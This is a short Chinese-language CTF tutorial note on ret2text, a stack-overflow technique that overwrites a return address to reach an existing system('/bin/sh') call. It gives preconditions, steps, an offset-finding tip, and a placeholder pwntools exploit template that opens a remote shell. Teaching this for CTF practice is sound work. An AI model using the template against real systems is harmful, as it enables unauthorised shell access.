参考网站:
CTF Wiki

ret2text 是最简单的利用栈溢出漏洞来getshell的方法,这种方法就是利用程序中已经有的敏感命令比如system('/bin/sh')getshell

前提

  1. 程序存在栈溢出,并且溢出大小合适,能够覆盖函数返回地址。
  2. 程序中存在敏感命令的调用,我们能够获取其地址。
  3. 程序没有开启canary保护,栈溢出可以被利用。

Implementation

  1. 找到敏感命令system('/bin/sh')的地址
  2. 计算esp到返回地址的偏移量,构造payload覆盖返回地址为敏感命令的地址
  3. 运行程序,getshell

Template

1
2
3
4
5
6
7
from pwn import *
context.binary = elf = ELF('./vuln')
context.log_level = 'debug'
p = remote('ip', port)
payload = <padding> + <loc of vulnerable function>
p.sendline(payload)
p.interactive()

注意一个重要的问题

在进行栈溢出漏洞的利用时不要直接以通过ida的静态分析确定的缓冲区偏移量为标准,因为有时候编译器会做优化之类的,导致偏移量不对。
具体的还是要使用 gdb + cyclic 进行分析